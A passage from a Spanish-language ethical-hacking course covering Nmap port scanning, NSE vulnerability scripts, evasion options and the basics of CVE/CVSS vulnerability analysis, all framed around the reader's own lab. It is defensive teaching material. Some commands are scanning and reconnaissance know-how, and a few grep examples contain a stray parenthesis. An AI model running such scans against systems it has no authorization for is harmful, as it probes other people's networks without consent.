Escaneo Connect (`-sT``): completa el apretón de manos normal. Más ruidoso (queda registrado en los logs del objetivo como una conexión real) pero no requiere privilegios especiales. Útil cuando no tienes sudo.

Escaneo UDP (`-sU``): UDP no tiene apretón de manos (es un protocolo "dispara y olvida" usado por DNS, DHCP y otros). Escanear UDP es más lento y menos confiable, pero necesario porque muchos servicios importantes usan UDP y los atacantes lo saben. Un escaneo solo-TCP deja ciega la mitad del mapa.

Escaneo de ping / descubrimiento de hosts (`-sn``): antes de escanear puertos, Nmap descubre qué equipos están activos en la red. Es el "¿hay alguien en casa?" previo a tocar puertas.

Detección de versiones (`-sV``): no solo dice "puerto 80 abierto", sino "puerto 80 abierto, corriendo Apache 2.4.49". Esa versión es oro: te permite buscar vulnerabilidades conocidas de esa versión exacta (Unidad 5).

Detección de sistema operativo (`-O`): deduce el SO del objetivo por cómo responde su pila TCP/IP. Útil para saber si enfrentas Linux, Windows, etc.

Escaneo agresivo (`-A`): combina detección de SO, versiones, scripts básicos y traceroute. Ruidoso pero muy informativo. En laboratorio úsalo sin miedo; en pentests reales, con criterio.

NSE: los scripts de Nmap

Nmap Scripting Engine (NSE) es una colección de cientos de scripts que hacen mucho más que escanear puertos: detectan vulnerabilidades conocidas, enumeran usuarios, prueban configuraciones débiles y más. Se invocan con `--script`. Ejemplos defensivos: `http-title` (muestra el título de webs encontradas), `smb-os-discovery`, scripts de la categoría `vuln` que verifican vulnerabilidades conocidas sin explotarlas.

Categorías importantes: `safe` (no afectan al objetivo), `vuln` (verifican vulnerabilidades), `exploit` (intentan explotar: solo en laboratorio autorizado), `auth` (prueban autenticación), `discovery`, `dos` (pueden tumbar servicios: NO usar fuera de laboratorio). Como defensor te interesan sobre todo `safe` y `vuln`.

Ritmo y evasión: -T y fragmentación

Nmap tiene plantillas de velocidad `-T0` (paranoico, lentísimo) a `-T5` (insano, rapidísimo). `-T4` es el equilibrio común. En tu laboratorio usa `-T4` sin problema. Las técnicas de evasión (fragmentar paquetes, usar señuelos) existen porque los atacantes quieren pasar desapercibidos; como defensor te interesa conocerlas para entender qué puede estar intentando alguien que escanea tu red de forma sigilosa, y para configurar tus sistemas de detección. No las uses contra terceros.

Interpretar resultados como defensor

Cuando escanees tu laboratorio verás una tabla de puertos. Tu trabajo defensivo ante cada puerto abierto:

1. ¿Reconozco este servicio? Si no, investiga qué es.
2. ¿Debe estar abierto? Un servidor web necesita el 80/443; una laptop de usuario normal no necesita tener puertos escuchando hacia la red.
3. ¿La versión es actual? Busca la versión y compárala con la última estable.
4. ¿Tiene autenticación fuerte? Telnet (puerto 23) transmite contraseñas en texto claro: si lo ves abierto en tu red, es un hallazgo grave.

El principio es simple: cada puerto abierto es una superficie de ataque. La mejor configuración es la que tiene abiertos solo los puertos estrictamente necesarios. A esto se le llama reducir la superficie de ataque, y es una de las victorias más baratas en seguridad.

Escaneo de tu red casera (permitido, es tuya)

Puedes escanear tu propia red Wi-Fi para descubrir todos tus dispositivos conectados: tu celular, tu smart TV, tu impresora, la cámara de seguridad... Te sorprenderá cuántos aparatos tienen puertos abiertos de los que no sabías. Cada dispositivo IoT (internet de las cosas) es una mini-computadora que casi nadie actualiza: son el eslabón débil de los hogares modernos. Auditarlos es 100 por ciento defensivo y muy revelador.

Marco ético de la unidad

Repitémoslo porque ahora sí tocas sistemas: Nmap solo contra tu laboratorio, tu red propia o sistemas con autorización escrita explícita. Nunca escanees rangos de tu proveedor de internet, ni la red de tu escuela o trabajo sin permiso, ni "a ver qué hay" en internet. Los escaneos quedan registrados y los administradores los interpretan como hostiles. En un pentest profesional, el alcance firmado (Unidad 1) dice exactamente qué IPs puedes escanear: ni una más.

Errores comunes

Escanear sin haber hecho descubrimiento de hosts primero y perder tiempo escaneando IPs vacías.

Usar `-A` contra todo sin criterio en un pentest real: es ruidoso y puede afectar servicios frágiles. En laboratorio no importa; en producción, cuidado.

No guardar la salida: usa `-oN archivo.txt` (normal), `-oX` (XML) o `-oA` (todos los formatos) para documentar. Un escaneo no documentado es un escaneo perdido.

Confundir "filtrado" con "seguro": un puerto filtrado solo significa que un firewall bloqueó tu sonda; el servicio puede seguir ahí y ser alcanzable por otras vías.

Olvidar UDP: muchos escaneos de principiantes son solo TCP y dejan sin revisar servicios UDP importantes.

Ejemplos paso a paso

Todos contra tu laboratorio: Kali (atacante) contra Metasploitable (víctima). Sustituye 10.0.2.6 por la IP real de tu víctima.

Ejemplo 1: Descubrir equipos activos en tu red de laboratorio

```
# Descubrimiento de hosts (ping scan): ¿quién está en mi red?
sudo nmap -sn 10.0.2.0/24

# La notación /24 significa "las 256 IPs de 10.0.2.0 a 10.0.2.255"
# Anota cada IP activa: esa es tu lista de objetivos de laboratorio
```

Ejemplo 2: Tu primer escaneo de puertos

```
# Escaneo SYN rápido de los 1000 puertos más comunes
sudo nmap -T4 10.0.2.6

# Escaneo connect (sin sudo) por si acaso
nmap -sT -T4 10.0.2.6

# Guarda siempre la salida para tu reporte
sudo nmap -T4 -oN ~/laboratorio/escaneo-basico.txt 10.0.2.6
```

Ejemplo 3: Escaneo completo con detección de versiones

```
# Todos los puertos TCP (1-65535), con versiones de servicio
sudo nmap -sS -sV -T4 -p- -oN ~/laboratorio/escaneo-completo.txt 10.0.2.6

# -p- significa "todos los puertos". Tarda más, pero el mapa queda completo.
# En la salida busca la columna VERSION: anota cada servicio y su versión.
```

Ejemplo 4: Detección de sistema operativo y escaneo agresivo

```
# Detección de SO (puede fallar si hay firewall; en laboratorio funciona)
sudo nmap -O 10.0.2.6

# Escaneo agresivo: SO + versiones + scripts básicos + traceroute
sudo nmap -A -T4 -oN ~/laboratorio/escaneo-agresivo.txt 10.0.2.6
```

Ejemplo 5: Escaneo UDP (no olvides la otra mitad)

```
# Top 100 puertos UDP (el escaneo UDP completo es muy lento)
sudo nmap -sU --top-ports 100 -T4 10.0.2.6

# Compara con tus resultados TCP: ¿hay servicios UDP que no esperabas?
```

Ejemplo 6: Scripts NSE defensivos

```
# Scripts seguros contra tu víctima: información sin riesgo
sudo nmap -sV --script=safe -T4 10.0.2.6

# Verificar vulnerabilidades CONOCIDAS sin explotarlas (solo detección)
sudo nmap -sV --script=vuln -T4 -oN ~/laboratorio/escaneo-vuln.txt 10.0.2.6

# Ejemplo específico: información del título web
sudo nmap -p 80 --script=http-title 10.0.2.6
```

La salida de `--script=vuln` te dará candidatos directos para la Unidad 5. Guárdala bien.

Ejemplo 7: Escanear tu propia red casera (tus dispositivos)

```
# Primero averigua tu red: mira tu IP con 'ip a'
# Si tu IP es 192.168.1.25, tu red probablemente es 192.168.1.0/24

sudo nmap -sn 192.168.1.0/24 -oN ~/laboratorio/mi-casa.txt

# Revisa el archivo: ¿reconoces todos los dispositivos?
# Cada IP desconocida merece investigación (puede ser un intruso... o tu tele
nueva).
```

Profundización: TCP/IP y Nmap como experto

Las banderas TCP (el lenguaje de los paquetes)

Cada paquete TCP lleva banderas (flags) que indican su propósito: SYN (quiero conectar), ACK (confirmando recepción), FIN (quiero terminar), RST (corta todo ya), PSH (entrega ya), URG (urgente). Nmap juega con ellas: el escaneo FIN envía FIN a puertos cerrados (que responden RST) y nada a abiertos; el escaneo NULL y Xmas (con banderas navideñas encendidas)

hacen trucos similares. Funcionan contra algunos sistemas antiguos y firewalls simples; contra sistemas modernos suelen fallar, pero entenderlos te enseña a "pensar en paquetes", la habilidad que distingue al técnico del experto. Como defensor, saber que existen te ayuda a interpretar logs extraños en tu firewall.

Taller de interpretación de salidas Nmap

Una salida típica dice más de lo que parece:

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 8.4p1 Debian
80/tcp	open	http	Apache httpd 2.4.51
443/tcp	open	ssl/http	Apache httpd 2.4.51
3306/tcp	closed	mysql	

Lee así: el 22 abierto con OpenSSH 8.4 (busca sus CVEs: ¿está parcheado?), el 80 y 443 con Apache 2.4.51 (esa versión tuvo CVEs críticos: hallazgo probable), el 3306 cerrado (el host existe y respondió: hay firewall o nada escuchando). Fíjate también en lo que NO sale: si esperabas ver un servicio y no aparece, quizá está filtrado. Y en la latencia reportada: redes lentas necesitan tiempos más largos (`--max-retries`, `-T` más bajo).

Formatos de salida y documentación

`-oN` (normal, legible), `-oX` (XML, para importar a herramientas y generar reportes), `-oG` (grepable, para procesar con scripts), `-oA` (los tres a la vez: lo recomendado para trabajo serio). Guarda cada escaneo con nombre descriptivo y fecha: `escaneo-inicial-2026-09-19.nmap`. En un proyecto real, estas salidas son evidencia y van a la carpeta del proyecto (Unidad 10).

NSE a fondo: tus scripts defensivos favoritos

Explora la biblioteca: `ls /usr/share/nmap/scripts/ | wc -l` (cientos). Algunos imprescindibles defensivos:

```
# Enumerar métodos HTTP permitidos (PUT/DELETE habilitados = riesgo)
sudo nmap -p 80,443 --script=http-methods 10.0.2.6

# Detectar títulos y servidores web
sudo nmap -p 80,443 --script=http-title,http-server-header 10.0.2.6

# Información SMB (versión, usuarios, recursos compartidos)
sudo nmap -p 445 --script=smb-os-discovery,smb-security-mode 10.0.2.6

# Verificar el famoso MS17-010 (EternalBlue/WannaCry) sin explotar
sudo nmap -p 445 --script=smb-vuln-ms17-010 10.0.2.6
```

Cada script tiene documentación: `nmap --script-help smb-vuln-ms17-010`. Lee la ayuda antes de usar scripts nuevos: algunos son intrusivos.

Evasión y detección: las dos caras

Los atacantes usan fragmentación (`-f`), señuelos (`-D`), tiempos lentos (`-T0/-T1`) o escaneos desde IPs falsas para no ser detectados. Como defensor te interesa el reverso: ¿cómo detecto que me escanean? Señales: muchas conexiones SYN sin completar desde una IP, barridos secuenciales de puertos, consultas DNS raras seguidas de escaneo. Herramientas como Snort/Suricata o un buen firewall con logs los delatan. No uses técnicas de evasión contra terceros; úsalas en tu laboratorio para probar si tus defensas las detectan: ese es el ejercicio defensivo valioso (equipo azul practicando).

Metodología de escaneo profesional

1. Autorización y alcance por escrito (IPs exactas).
2. Descubrimiento de hosts (`-sn`).
3. Escaneo de puertos rápido (`-F` o top 1000) a lo descubierto.
4. Escaneo completo TCP (`-p-`) a lo interesante.
5. Detección de versiones (`-sV`) y SO (`-O`).
6. UDP a servicios clave.
7. Scripts NSE safe/vuln.
8. Documentar todo con `-oA` y horarios.
9. Analizar y priorizar (Unidad 5). Seguir siempre el mismo orden te hace rápido, completo y auditable.

Caso de estudio: el puerto que nadie miraba

Caso típico real: empresa escaneada por dentro, todo "normal"... hasta que alguien revisa UDP y encuentra el puerto 161 (SNMP) abierto con la comunidad "public" (la contraseña por defecto). SNMP expone inventario completo: usuarios, software, configuración de red. El atacante no necesitó nada sofisticado: solo mirar donde nadie miraba. Lección: escanea TCP y UDP, revisa configuraciones por defecto en cada servicio, y documenta hasta lo que parece aburrido.

Glosario de la unidad

Puerto: número que identifica un servicio dentro de un host. Banner: texto de presentación de un servicio. Fingerprinting: identificar SO o servicio por su comportamiento. Falso positivo/negativo: alerta incorrecta / amenaza no detectada. Latencia: tiempo de respuesta de la red. Señuelo (decoy): IP falsa para ocultar el origen. IDS/IPS: sistema de detección/prevención de intrusos.

Práctica

Ejercicio 1: Mapa de puertos de tu víctima

Escanea tu Metasploitable con ``-sS -sV -p-`` y elabora una tabla: puerto, estado, servicio, versión. ¿Cuántos puertos TCP abiertos encontraste?

Solución: Metasploitable 2 típicamente muestra más de 20 puertos abiertos (FTP, SSH, Telnet, SMTP, DNS, HTTP, SMB, MySQL, etc.). El número exacto puede variar según la versión. Lo importante es tu tabla completa y documentada en `~/laboratorio/``. Si encontraste Telnet (23) abierto, anótalo como hallazgo: transmite credenciales en texto claro y casi nunca debería estar habilitado.

Ejercicio 2: Compara SYN vs Connect

Escanea los mismos 1000 puertos con ``-sS`` y con ``-sT``, mide el tiempo de cada uno y compara los resultados. ¿Difieren? ¿Cuál fue más rápido?

Solución: Los resultados (puertos abiertos) deben coincidir; lo que cambia es la velocidad (SYN suele ser más rápido) y el rastro dejado (Connect completa conexiones que aparecen en logs). Usa ``time sudo nmap ...`` para medir. Este ejercicio te enseña a elegir la técnica según el contexto.

Ejercicio 3: Caza versiones desactualizadas

De tu tabla del Ejercicio 1, toma 3 servicios con versión identificada y busca en internet si esa versión tiene vulnerabilidades conocidas (busca "servicio versión CVE").

Solución: Por ejemplo, un servidor FTP o Samba antiguo de Metasploitable tendrá CVEs documentados. Anota el CVE más grave de cada uno con su puntaje. Este es exactamente el puente entre el escaneo (Unidad 4) y el análisis de vulnerabilidades (Unidad 5). No intentes explotarlos todavía: primero aprende a analizar.

Ejercicio 4: Auditoría de tu red casera

Escanea tu red Wi-Fi doméstica con ``-sn`` y luego haz un escaneo de versiones ligero (``-sV -F``, puertos rápidos) a tus propios dispositivos. Lista cada dispositivo y sus puertos abiertos.

Solución: Documenta todo en tu cuaderno. Preguntas defensivas por dispositivo: ¿este aparato necesita esos puertos abiertos? ¿Tiene firmware actualizado? ¿La contraseña de administración sigue siendo la de fábrica? (Si es así, cámbiala hoy: es el hallazgo más común en hogares.) Este ejercicio vale oro en la vida real.

Ejercicio 5: Scripts vuln

Ejecuta ``--script=vuln`` contra tu Metasploitable y selecciona 3 hallazgos. Para cada uno escribe: qué script lo detectó, qué vulnerabilidad sugiere y qué harías como defensor (sin explotarla).

Solución: Ejemplo de respuesta válida: "El script X detectó que el servicio Y acepta conexiones sin autenticación; como defensor lo deshabilitaría o lo restringiría por firewall y verificaría si hay parche". El objetivo es practicar el pensamiento defensivo: detectar, evaluar, corregir.

Ejercicio 6: Escaneo sigiloso vs ruidoso (teoría aplicada)

Explica con tus palabras la diferencia entre ``-T2`` y ``-T4``, y en qué situación profesional usarías cada uno.

Solución: ``-T2`` (educado) es lento y genera poco tráfico por segundo: se usa cuando no quieres saturar la red del cliente o evadir detección básica. ``-T4`` (agresivo) es rápido: ideal para laboratorio o cuando el tiempo apremia y el cliente lo permite. En un pentest real contra producción, la velocidad se acuerda con el cliente para no afectar su operación. ``-T5`` casi nunca se usa en entornos reales por el riesgo de saturar o tumbar servicios frágiles.

Caso práctico integral: escaneo completo documentado de tu laboratorio

Vamos a ejecutar un proyecto de escaneo de principio a fin contra tu Metasploitable, con la disciplina de un profesional. Prepara tu carpeta: ``mkdir -p ~/laboratorio/proyecto-escaneo``.

Fase A: Autorización (5 minutos, los más importantes). Escribe en tu bitácora: "Escaneo autorizado: mis VMs Kali (atacante) y Metasploitable (objetivo) en red NAT laboratorio. IPs: [las tuyas]. Fecha y hora. Sin sistemas adicionales." Firmado por ti. Parece exagerado para tu propio laboratorio; es entrenamiento del hábito que te protegerá toda la vida.

Fase B: Descubrimiento. ``sudo nmap -sn 10.0.2.0/24 -oA ~/laboratorio/proyecto-escaneo/01-descubrimiento`` y anota cada host activo con su posible rol (tu Kali, tu víctima, la puerta de la red NAT). Si aparece algo que no reconoces, detente e investiga antes de seguir: en un proyecto real, un host desconocido se reporta, no se escanea a ciegas.

Fase C: Escaneo de puertos. Primero rápido (``-F``), luego completo TCP (``-p-``), luego UDP top 100. Tres archivos ``-oA`` separados (02-puertos-rápido, 03-puertos-completo, 04-udp). Compara: ¿el rápido perdió algo que el completo encontró? (A veces sí: documenta la diferencia, es una lección sobre cobertura vs velocidad.)

Fase D: Enumeración. ``-sV -O`` a la víctima, más ``--script=safe`` y ``--script=vuln``. Archivo 05-enumeracion. Construye tu tabla maestra: puerto | servicio | versión | notas.

Fase E: Análisis defensivo. Para cada puerto abierto responde por escrito: ¿lo reconozco? ¿debe estar abierto? ¿la versión tiene CVEs? (búscalos: es tu puente a la Unidad 5). Marca tus top 5 preocupaciones.

Fase F: Mini-informe. Una página: alcance, metodología (comandos exactos), tabla de hallazgos priorizados y 3 recomendaciones. Este documento de una página, hecho con tu laboratorio, es el embrión de tu portafolio.

Tiempo total: 2-3 horas. Valor: dominarás el flujo completo que repetirás en cada proyecto real de tu carrera.

Chuleta de Nmap (guárdala, úsala siempre)

```
Descubrimiento:      nmap -sn 192.168.1.0/24
Rápido:              nmap -T4 -F 10.0.2.6
Estándar:            nmap -T4 -sV 10.0.2.6
Completo TCP:        nmap -T4 -sS -sV -p- 10.0.2.6
SO + agresivo:       nmap -T4 -A 10.0.2.6
UDP:                 nmap -sU --top-ports 100 10.0.2.6
Scripts safe:        nmap -sV --script=safe 10.0.2.6
Scripts vuln:        nmap -sV --script=vuln 10.0.2.6
Guardar todo:        nmap -T4 -A -oA reporte 10.0.2.6
Un puerto/servicio:  nmap -p 80,443 -sV --script=http-title 10.0.2.6
```

Memoriza los 4 primeros; los demás consúltalos. Un profesional no memoriza todo: memoriza lo frecuente y sabe dónde buscar lo demás (`man nmap` es tu amigo).

Lectura avanzada de evidencias

Cuando un escaneo muestra `open|filtered`, Nmap no pudo decidir: típico de UDP o de firewalls estrictos. No lo ignores: anótalo como "requiere verificación manual". Cuando veas puertos abiertos en orden no secuencial raro o servicios en puertos no estándar (un HTTP en el 8080 o en el 8888), presta atención: a veces es administración oculta, a veces malware, a veces un servicio legítimo no documentado. Todo lo inusual se investiga y se documenta: en seguridad, "raro" es sinónimo de "mírame".

Escaneo en equipo: roles

En proyectos grandes no escaneas solo: un coordinador define alcance y ventanas, un operador ejecuta, un analista interpreta y un redactor documenta. Aunque hoy hagas todo tú, practica separar los roles en tu bitácora (qué hiciste como operador vs qué concluiste como analista): te entrena para trabajar en equipo y para explicar tu trabajo a otros.

Taller avanzado: NSE por categorías y análisis de salidas

Recetas NSE por objetivo (tu laboratorio)

```
# --- WEB: radiografía de un servidor web propio ---
sudo nmap -p 80,443 -sV --script=http-title,http-server-header,http-methods,http-robots.txt 10.0.2.6

# --- SMB: el protocolo más informativo (y atacado) ---
sudo nmap -p 139,445 --script=smb-os-discovery,smb-security-mode,smb2-security-mode,smb-protocols 10.0.2.6

# --- VULN: batería de detección sin explotación ---
sudo nmap -sV --script=vuln --script-args=unsafe=0 -T4 10.0.2.6
# unsafe=0 evita los scripts que podrían afectar servicios: úsalo por defecto

# --- FTP anónimo: ¿tu servidor regala acceso? ---
sudo nmap -p 21 --script=ftp-anon 10.0.2.6

# --- SSH: información y políticas ---
sudo nmap -p 22 --script=ssh-hostkey,ssh-auth-methods 10.0.2.6

# --- DNS: ¿tu servidor responde lo que no debe? ---
sudo nmap -p 53 --script=dns-recursion 10.0.2.6
```

Cada receta responde una pregunta defensiva concreta. Arma las tuyas por servicio y guárdalas en tu chuleta.

Procesando salidas como analista (grep + awk)

```
# Extraer solo puertos abiertos de un escaneo guardado
grep "^([0-9]*/tcp.*open" ~/laboratorio/escaneo-completo.txt

# Lista limpia "puerto: servicio versión"
grep "^([0-9]*/tcp.*open" ~/laboratorio/escaneo-completo.txt | awk '{print $1, $3, $4, $5}'

# Contar puertos abiertos por host en un escaneo de red
grep -c "open" ~/laboratorio/escaneo-red.txt

# Comparar dos escaneos (¿qué cambió entre ayer y hoy?)
diff <(grep "^([0-9]" escaneo-ayer.txt | sort) <(grep "^([0-9]" escaneo-hoy.txt | sort)
```

El `diff` entre escaneos es monitoreo de cambios: en empresas se automatiza y alerta. Un puerto nuevo que aparece solo es un incidente hasta demostrar lo contrario.

Estrategia de escaneo por fases (ahorra horas)

No escanees todo con todo desde el inicio. Estrategia profesional: 1) ``-sn`` para saber qué vive; 2) ``-F`` (100 puertos top) a lo vivo para clasificar rápido; 3) ``-p-`` completo solo a los hosts interesantes; 4) ``-sV -O`` y NSE a los puertos abiertos encontrados. Cada fase filtra la siguiente: en una red de 500 IPs, esto te ahorra horas frente al "escaneo completo a todo". La eficiencia también es profesionalismo: menos ruido, menos tiempo, mismos hallazgos.

Cuando Nmap "miente": casos trampa

Firewall que responde RST a todo: todos los puertos parecen "cerrados" aunque haya servicios (verifica desde dentro si puedes). IDS que inyecta respuestas falsas: puertos que no existen aparecen abiertos (desconfía de resultados "demasiado buenos"). Hosts con limitación de tasa: escaneos rápidos pierden puertos (baja a ``-T2`` y compara). NAT que mapea raro: asegúrate de escanear la IP correcta. Ante resultados extraños, cambia de ángulo: otro tipo de escaneo, otra hora, verificación manual con ``nc`` o ``curl``. El analista desconfía de lo fácil.

```
# Verificación manual de un puerto sospechoso (sin Nmap)
nc -vz 10.0.2.6 80
curl -sI http://10.0.2.6/ | head -5
```

Resumen de la unidad

Nmap descubre equipos, puertos, servicios, versiones y sistemas operativos jugando con el protocolo TCP/IP. Los puertos (0-65535) identifican servicios dentro de una máquina; cada puerto abierto es superficie de ataque que debes justificar. Los tipos de escaneo principales son SYN (``-sS``, rápido y sigiloso), Connect (``-sT``), UDP (``-sU``), descubrimiento (``-sn``), versiones (``-sV``), SO (``-O``) y agresivo (``-A``). Los scripts NSE (categorías safe y vuln) añaden detección de vulnerabilidades conocidas. Controla la velocidad con ``-T`` y guarda siempre tu salida (``-oN/-oA``). Como defensor, tu pregunta ante cada puerto abierto es: ¿debe estar abierto, está actualizado y está protegido? Y la regla inquebrantable: solo escaneas tu laboratorio, tu red o sistemas con autorización escrita.

En la Unidad 5 tomarás los servicios y versiones que descubriste y aprenderás a evaluar qué tan vulnerables son: el análisis de vulnerabilidades.

UNIDAD 5: Análisis de vulnerabilidades

Ya sabes reconocer (Unidad 3) y escanear (Unidad 4). Ahora viene la pregunta que todo defensor debe saber responder: de todo lo que encontré, ¿qué es realmente peligroso y qué arreglo primero? Porque en el mundo real nadie puede arreglarlo todo al mismo tiempo: una empresa típica tiene cientos o miles de hallazgos potenciales, y el análisis de vulnerabilidades es la disciplina de convertir esa montaña de datos en un plan de acción priorizado.

Imagina que eres médico en una sala de emergencias y llegan diez pacientes a la vez. No los atiendes en orden de llegada: aplicas un triaje, evalúas quién está grave y quién puede esperar. El análisis de vulnerabilidades es el triaje de la seguridad informática: clasifica cada debilidad por su gravedad real y su contexto, para que los recursos (tiempo, dinero, gente) se usen donde más protegen.

Una vulnerabilidad es cualquier debilidad en un sistema que un atacante podría aprovechar: un software desactualizado con un fallo conocido, una contraseña débil, una mala configuración, un puerto innecesariamente abierto, un empleado sin capacitación. Algunas son críticas (permiten tomar control total del sistema) y otras son menores (revelan información poco sensible). Tu trabajo es distinguirlas.

Explicación detallada

CVE: el idioma universal de las vulnerabilidades

Cuando se descubre una vulnerabilidad importante en software popular, se le asigna un identificador CVE (Common Vulnerabilities and Exposures) con formato CVE-AAAA-NNNNN (año y número). Es como el CURP de las vulnerabilidades: un identificador único que todo el mundo usa para hablar de la misma falla sin confusiones.

Los CVE viven en bases de datos públicas: la NVD (National Vulnerability Database) de Estados Unidos es la referencia principal, y cve.org es el registro oficial. Cada ficha CVE describe qué software afecta, qué versiones, qué puede hacer un atacante y suele incluir un puntaje de gravedad y enlaces a parches. Consultar estas bases es 100 por ciento legal y es trabajo diario de cualquier profesional de seguridad.

Como defensor, tu hábito debe ser: cuando tu escaneo (Unidad 4) identifique un servicio con versión específica, busca sus CVEs. Si tu servidor corre una versión con CVEs críticos sin parchear, tienes un hallazgo prioritario.

CVSS: midiendo la gravedad del 0 al 10

El CVSS (Common Vulnerability Scoring System) asigna a cada vulnerabilidad un puntaje de 0.0 a 10.0. Los rangos: 0.1-3.9 baja, 4.0-6.9 media, 7.0-8.9 alta, 9.0-10.0 crítica. El puntaje considera qué tan fácil es explotarla (¿se puede hacer por red o hay que estar físicamente ahí?), qué privilegios requiere, si necesita que la víctima haga algo (clic en un enlace), y qué impacto tiene en confidencialidad, integridad y disponibilidad.

Pero ojo, y esto es crucial: el CVSS mide la gravedad técnica en abstracto, no tu riesgo real. Una vulnerabilidad crítica en un servidor aislado sin datos importantes puede ser menos urgente que una vulnerabilidad media en tu servidor de clientes expuesto a internet. El profesional combina el CVSS con el contexto: qué sistema es, qué datos maneja, qué tan expuesto está. Eso se llama gestión de riesgo, y es lo que separa al técnico del consultor.

Tipos de vulnerabilidades más comunes

Desactualización: software con fallos conocidos sin parchear. Es la causa número uno de incidentes reales. El parche existe, solo hay que aplicarlo. (Verás el caso Log4Shell como ejemplo clásico.)

Configuración insegura: servicios con contraseñas por defecto, permisos excesivos, funciones peligrosas habilitadas, información sensible expuesta. No es un "bug" del software, es un error humano al instalarlo.

Credenciales débiles: contraseñas como "admin123" o usuarios sin contraseña. La Unidad 6 profundiza.

Falta de cifrado: datos sensibles viajando o almacenándose sin protección (Telnet en vez de SSH, HTTP en vez de HTTPS).

Inyección: el atacante mete comandos o código donde solo debería haber datos (SQL injection en webs, command injection). Más relevante en auditoría web, pero debes conocer el concepto.

Ingeniería social: el humano como vulnerabilidad (Unidad 7 completa).

Denegación de servicio: vulnerabilidades que permiten tumbar un sistema. En tus pruebas nunca las explotes contra producción: el "probar si se cae" puede ser el incidente que querías evitar.

Escáneres de vulnerabilidades: automatizando el triaje

Un escáner de vulnerabilidades automatiza la búsqueda de fallos conocidos: compara lo que encuentra en tus sistemas (versiones, configuraciones) contra bases de datos de CVEs y te entrega un reporte. Los más conocidos: Nessus (comercial, muy completo, con versión gratuita limitada), OpenVAS/Greenbone (código abierto, excelente para aprender), y Nexpose. Kali incluye OpenVAS.

Cómo funciona en esencia: el escáner primero descubre equipos (como Nmap), luego identifica servicios y versiones, y después lanza "pruebas" (plugins) que verifican vulnerabilidades específicas sin dañar: por ejemplo, conecta a tu servidor web y revisa si la versión que anuncia tiene CVEs, o prueba si acepta métodos HTTP peligrosos. Un escaneo completo de una red mediana genera cientos de hallazgos.

Limitaciones que debes conocer: los escáneres generan falsos positivos (reportan algo que en realidad no es vulnerable, por ejemplo por un banner de versión engañoso) y falsos negativos (no detectan vulnerabilidades nuevas o de lógica de negocio). Por eso el análisis humano es irremplazable: la herramienta propone, el analista dispone. Nunca entregues un reporte de escáner sin revisar: un profesional valida cada hallazgo crítico antes de reportarlo.

El flujo profesional: de escaneo a plan de acción

1. Define el alcance autorizado (qué IPs y sistemas).
2. Ejecuta el escáner con credenciales si es posible (un escaneo "autenticado", con usuario y contraseña de lectura, ve mucho más: parches instalados, configuraciones internas).
3. Recolecta y elimina duplicados.
4. Valida manualmente los hallazgos críticos (falsos positivos fuera).
5. Clasifica por riesgo real: combina CVSS con contexto (exposición, datos, criticidad del sistema).
6. Prioriza: crítico y explotable por internet primero.
7. Recomendación de correcciones concretas: parchear a versión X, deshabilitar servicio Y, cambiar configuración Z.
8. Documenta todo para el informe (Unidad 10).

Priorización práctica: la matriz que sí funciona

Una forma simple y efectiva de priorizar: dos ejes, gravedad técnica (CVSS) y exposición (¿es alcanzable desde internet? ¿lo usan atacantes activamente?). Una vulnerabilidad crítica en un sistema expuesto a internet con exploits públicos circulando es tu prioridad número uno, sin discusión. Una vulnerabilidad baja en un sistema interno aislado puede esperar al siguiente ciclo de mantenimiento. Entre esos extremos, usa tu juicio y documenta tus criterios: en un reporte profesional debes poder explicar por qué algo es prioridad 1 y otra cosa es prioridad 3.

Ciclo de vida: descubrir, corregir, verificar

Encontrar vulnerabilidades no sirve de nada si nadie las corrige. El ciclo completo: detección (escaneo), análisis (este capítulo), corrección (patchear, reconfigurar: normalmente lo hace el equipo de sistemas con tu guía), verificación (re-escanea para confirmar que el hallazgo desapareció). Sin la verificación final, no sabes si realmente se arregló. Este ciclo se repite continuamente: la seguridad no es un proyecto con fin, es un proceso.

Caso histórico: Log4Shell (CVE-2021-44228)

En diciembre de 2021 se descubrió una vulnerabilidad crítica (CVSS 10.0, la máxima) en Log4j, una librería de Java usada por millones de sistemas en el mundo. Permitía ejecución remota de código con una simple cadena de texto enviada al sistema. Millones de servidores eran vulnerables de la noche a la mañana. La lección defensiva es enorme: el riesgo no solo está en tu código, está en tus dependencias (las librerías de terceros que usas). Por eso el inventario de software y la actualización constante son críticos, y por eso saber leer un CVE (Unidad 1) es una habilidad que paga sueldos.

Marco ético de la unidad

Los escáneres de vulnerabilidades son ruidosos y tocan muchos sistemas: úsalos solo en tu laboratorio o con autorización escrita explícita. Nunca escanees con Nessus/OpenVAS redes ajenas "para ver qué sale". Además: si encuentras vulnerabilidades en sistemas reales durante tu trabajo, no las explotes por curiosidad para "confirmar"; la confirmación agresiva puede dañar. Reporta el hallazgo con la evidencia del escáner y deja la explotación controlada para los casos donde el alcance lo permite.

Errores comunes

Entregar el reporte crudo del escáner como "informe final": es trabajo a medias y desacredita al profesional.

Tratar todos los hallazgos como igual de urgentes: sin priorización, el cliente no sabe por dónde empezar y no hace nada.

Ignorar los falsos positivos: reportar algo que no es vulnerable destruye tu credibilidad.

Escanear producción en horario laboral sin avisar: puedes degradar servicios. Coordina ventanas de escaneo.

Olvidar el re-test: corregir sin verificar es como operarse sin revisión postoperatoria.

Ejemplos paso a paso

Ejemplo 1: Investigar un CVE como profesional

```
# En tu navegador ve a nvd.nist.gov y busca CVE-2021-44228 (Log4Shell)
# Responde en tu cuaderno:
# 1) Puntaje CVSS y severidad
# 2) Qué software y versiones afecta
# 3) Vector de ataque: ¿por red? ¿requiere autenticación?
# 4) ¿Existe parche? ¿Cuál versión lo corrige?
#
# Repite con un CVE de un servicio de tu Metasploitable
# (toma una versión de tu escaneo de la Unidad 4 y búscala)
```

Ejemplo 2: Escaneo de vulnerabilidades con Nmap (sin instalar nada más)

```
# Ya lo viste en la Unidad 4; ahora interpretarlo como analista:
sudo nmap -sV --script=vuln -T4 -oN ~/laboratorio/analisis-vuln.txt 10.0.2.6

# Abre el archivo y para cada hallazgo anota:
# - Servicio y puerto afectado
# - Descripción de la vulnerabilidad sugerida
# - ¿Es falso positivo probable? ¿Cómo lo verificarías sin explotar?
```

Ejemplo 3: Instalar y correr OpenVAS (Greenbone) en Kali

```
# Instalar (tarda; es software grande)
sudo apt update && sudo apt install -y gvm
sudo gvm-setup
# Anota la contraseña de admin que genera al final

# Verificar e iniciar
sudo gvm-check-setup
sudo gvm-start

# Abre en tu navegador: https://127.0.0.1:9392
# Crea una tarea (Task) apuntando a la IP de tu Metasploitable
